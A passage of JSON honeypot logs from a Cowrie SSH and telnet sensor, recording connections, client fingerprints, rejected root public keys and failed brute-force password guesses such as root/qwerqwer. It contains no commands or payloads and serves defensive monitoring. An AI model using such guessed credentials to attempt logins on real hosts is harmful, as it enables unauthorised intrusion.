2f:0f:25:7c:c8:b0:b5:e2:58:7b:a1:80:ed:06:7a:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.850173Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:0f:25:7c:c8:b0:b5:e2:58:7b:a1:80:ed:06:7a:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC46jh3WjrsdsDM7oSyhuPBjfnxyZh3rNCsMuPVxyZf701my+Va78cyx34erbO1HfS433CXALiJ57buz3S56K/Bz29D2G11ONnfNSolWsBJTgEJPteoWrKNBFLG2PNw28F6WcLQep45ceLKTuk5JltCUjEuJfx0AuKP5qN3ekRLqx2ZgamPZ4lSQhbtuo6Ot/eW04y7ZjM8p0kS9A09wUmu4MST4KxG4UIWImjQNPAj9e8n+hZVnEV9tF98NvXHubrBVHAnaxTPeyBSObPgNOElMwK9uQexTJd4oszGy5mmMXVbFoNJdJ7IZp5EY0vBpry43N6qH4h0ee7DIfJILoYyQxHyWcbejKqdlPF4IeZlFjwM609FyYkByeKJv1KG2R01fda/SHMXn0RAVafEjzMmsZU8lyqFRK8oET8iO+SbJd2TLy8BCpLDnXI9GSbo5acfKPCa0qC2xJheXFLyTM2bXNyLwhMuhUEIz60/E1TjqfTRs2XL1M+nHqgS1RR0RvM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.854805Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:b0:93:03:d4:56:4a:08:48:3d:5c:d2:a0:c2:bc:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCBjSp44YJSJdrOighzwtdv/LhRdFtdSNxwjCnk3WslgOXbTU6PVBXIQsBpZtp3YJdKiRKKiwc0GIKIhFDbtWiF63q/6SpIvi8YtPbkzCbycQmlX6vqFxQc7+55G3Xq19F84XFo4NugSzL31KMCh0Stzh3b1/svOugmUG7akzQ+c1syxPeA+S8lYSbmEEfqSGjVpACMkOx3MI1Mw5rvhubj6eFN3uSbyFkFrzDHZ1jpljM3xD5RrtehTYRcV4b4Dm1IaWSZMJt3fQnj/Umkcdm/He3HNfIm3ZwKx13ufLiNeWZ6iTtIxyZpknI6fzyrCOHw+9TMSrdSNm9QLO6vSkfVOgE+nh1DkrNZ0NekQ3yypnLwPqP+yWlhbfWB0MzxJmqqpAJ2Tcm1Lh8oJHsIIbhMeDFOCbN5t8hrRiM4yNcp+LxuJZwOt6zvKHpaVjBY5xuEMitW1fWE9FXh2YWyTnK7g1wiBcE7iiodI7PQ4NHvHviC86ZSQn1ia/4C5zNOVJ0OmcDdDXmBKIMdzKzPYPneNLXhwL6eURSwrdaVuANXnCcLULiYLMHkWqNYUz8dDyueW5PA8r1BpVnZ2pkz7qs6e+5L8a8EghZ/dYjXjceD9IEjBx5IO/dP3Q/QE6MX+rAN15nXizcDb3qwzAly2XDz6rLcuvdMCblT0ak93JLpbw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:b0:93:03:d4:56:4a:08:48:3d:5c:d2:a0:c2:bc:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.928129Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:b0:93:03:d4:56:4a:08:48:3d:5c:d2:a0:c2:bc:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCBjSp44YJSJdrOighzwtdv/LhRdFtdSNxwjCnk3WslgOXbTU6PVBXIQsBpZtp3YJdKiRKKiwc0GIKIhFDbtWiF63q/6SpIvi8YtPbkzCbycQmlX6vqFxQc7+55G3Xq19F84XFo4NugSzL31KMCh0Stzh3b1/svOugmUG7akzQ+c1syxPeA+S8lYSbmEEfqSGjVpACMkOx3MI1Mw5rvhubj6eFN3uSbyFkFrzDHZ1jpljM3xD5RrtehTYRcV4b4Dm1IaWSZMJt3fQnj/Umkcdm/He3HNfIm3ZwKx13ufLiNeWZ6iTtIxyZpknI6fzyrCOHw+9TMSrdSNm9QLO6vSkfVOgE+nh1DkrNZ0NekQ3yypnLwPqP+yWlhbfWB0MzxJmqqpAJ2Tcm1Lh8oJHsIIbhMeDFOCbN5t8hrRiM4yNcp+LxuJZwOt6zvKHpaVjBY5xuEMitW1fWE9FXh2YWyTnK7g1wiBcE7iiodI7PQ4NHvHviC86ZSQn1ia/4C5zNOVJ0OmcDdDXmBKIMdzKzPYPneNLXhwL6eURSwrdaVuANXnCcLULiYLMHkWqNYUz8dDyueW5PA8r1BpVnZ2pkz7qs6e+5L8a8EghZ/dYjXjceD9IEjBx5IO/dP3Q/QE6MX+rAN15nXizcDb3qwzAly2XDz6rLcuvdMCblT0ak93JLpbw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:57.931888Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3akLuSVaLb5YTJ9tGePmoT2q8xDoaBhbg4SY22SYYuR9Ry2NEXgs1EavVJz6OHOYIrXN+Fixkj9HGcT+nnudkddCgMm4UM2o8k62o3INLkdNB/AfwjyRN9VY3/V2VAw/abti/BqY322dHLBcKlVPYMpSjrgQlAzhhfs98GIg0Ug6MPCwyX5pDMIERJQEMxDs12BE3aNwWAaAihB/WrExHmHJfW8NVP2WhWNKydHuUBYzElr6vu9oSf9SBKP+/nuKESYGwQBRUZsoMGr0PxOsKnXVGfAzD3d1zoYcNy0wmD3nrsUJ+pi6FEzvjXqevM2G5pVMtYAny7pEjnai8bh5Src1uj2Pm6W6J/e3NiR63gM0K9f3Ht5k0uqPEJ/N8z5CQZFNkhObH/u/hIyr3egXEPUbp2SMuRvOtSfx8zdI6kOBcTMEX6yBlpT4dpdxM/Vs4FiPzuAOix4kNxNqyVNTfATiIVqmd2iSiwo/nIiTpc6niCQjmspqkoMeH42oj+hU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:58.004933Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3akLuSVaLb5YTJ9tGePmoT2q8xDoaBhbg4SY22SYYuR9Ry2NEXgs1EavVJz6OHOYIrXN+Fixkj9HGcT+nnudkddCgMm4UM2o8k62o3INLkdNB/AfwjyRN9VY3/V2VAw/abti/BqY322dHLBcKlVPYMpSjrgQlAzhhfs98GIg0Ug6MPCwyX5pDMIERJQEMxDs12BE3aNwWAaAihB/WrExHmHJfW8NVP2WhWNKydHuUBYzElr6vu9oSf9SBKP+/nuKESYGwQBRUZsoMGr0PxOsKnXVGfAzD3d1zoYcNy0wmD3nrsUJ+pi6FEzvjXqevM2G5pVMtYAny7pEjnai8bh5Src1uj2Pm6W6J/e3NiR63gM0K9f3Ht5k0uqPEJ/N8z5CQZFNkhObH/u/hIyr3egXEPUbp2SMuRvOtSfx8zdI6kOBcTMEX6yBlpT4dpdxM/Vs4FiPzuAOix4kNxNqyVNTfATiIVqmd2iSiwo/nIiTpc6niCQjmspqkoMeH42oj+hU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:58.009145Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:55:58.083609Z","src_ip":"209.90.232.249","session":"ab2527633bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.1924831867218,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:00.593435Z","src_ip":"152.42.224.71","session":"ef0954da68a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":38070,"dst_ip":"159.203.135.109","dst_port":22,"session":"862edc615617","protocol":"ssh","message":"New connection: 147.45.211.215:38070 (159.203.135.109:22) [session: 862edc615617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:12.307415Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":43330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d4c07c6e436","protocol":"ssh","message":"New connection: 103.82.132.16:43330 (10.17.0.5:22) [session: 2d4c07c6e436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:13.888414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:13.893498Z","src_ip":"103.82.132.16","session":"2d4c07c6e436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:14.154263Z","src_ip":"103.82.132.16","session":"2d4c07c6e436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"giorgi","message":"login attempt [root/giorgi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:14.936832Z","src_ip":"103.82.132.16","session":"2d4c07c6e436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:16.205083Z","src_ip":"103.82.132.16","session":"2d4c07c6e436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.663512229919434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:23.565988Z","src_ip":"152.42.224.71","session":"bda2ddc9e0e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":51946,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da85c39428a","protocol":"ssh","message":"New connection: 103.75.182.198:51946 (159.203.135.109:22) [session: 0da85c39428a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:24.430021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:24.439650Z","src_ip":"103.75.182.198","session":"0da85c39428a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:24.696552Z","src_ip":"103.75.182.198","session":"0da85c39428a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerqwer","message":"login attempt [root/qwerqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:25.410386Z","src_ip":"103.75.182.198","session":"0da85c39428a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:26.651291Z","src_ip":"103.75.182.198","session":"0da85c39428a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53925,"dst_ip":"10.17.0.5","dst_port":22,"session":"eacba28bde21","protocol":"ssh","message":"New connection: 2.57.121.112:53925 (10.17.0.5:22) [session: eacba28bde21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:27.179595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:27.185040Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:27.291015Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"6275","message":"login attempt [admin/6275] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:27.786870Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"556655","message":"login attempt [admin/556655] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:28.895936Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"555551","message":"login attempt [admin/555551] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:30.005103Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5552555","message":"login attempt [admin/5552555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:31.113681Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"5433","message":"login attempt [admin/5433] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:32.222151Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:33.331209Z","src_ip":"2.57.121.112","session":"eacba28bde21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":49598,"dst_ip":"159.203.135.109","dst_port":22,"session":"629dce6fdb08","protocol":"ssh","message":"New connection: 89.108.118.91:49598 (159.203.135.109:22) [session: 629dce6fdb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:46.475415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:46.480017Z","src_ip":"89.108.118.91","session":"629dce6fdb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:46.616769Z","src_ip":"89.108.118.91","session":"629dce6fdb08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha1999","message":"login attempt [root/sasha1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:47.029682Z","src_ip":"89.108.118.91","session":"629dce6fdb08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:48.170163Z","src_ip":"89.108.118.91","session":"629dce6fdb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33222,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c6ad63d354","protocol":"ssh","message":"New connection: 51.250.105.222:33222 (159.203.135.109:22) [session: f6c6ad63d354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:48.959849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:48.969428Z","src_ip":"51.250.105.222","session":"f6c6ad63d354","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:49.091470Z","src_ip":"51.250.105.222","session":"f6c6ad63d354","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:49.459163Z","src_ip":"51.250.105.222","session":"f6c6ad63d354","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:50.584502Z","src_ip":"51.250.105.222","session":"f6c6ad63d354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34996,"dst_ip":"10.17.0.5","dst_port":23,"session":"552d1e14a1ef","protocol":"telnet","message":"New connection: 152.42.224.71:34996 (10.17.0.5:23) [session: 552d1e14a1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:53.498133Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":29180,"dst_ip":"10.17.0.5","dst_port":22,"session":"a01f5fe29b2d","protocol":"ssh","message":"New connection: 2.57.121.25:29180 (10.17.0.5:22) [session: a01f5fe29b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:55.368305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:55.373056Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
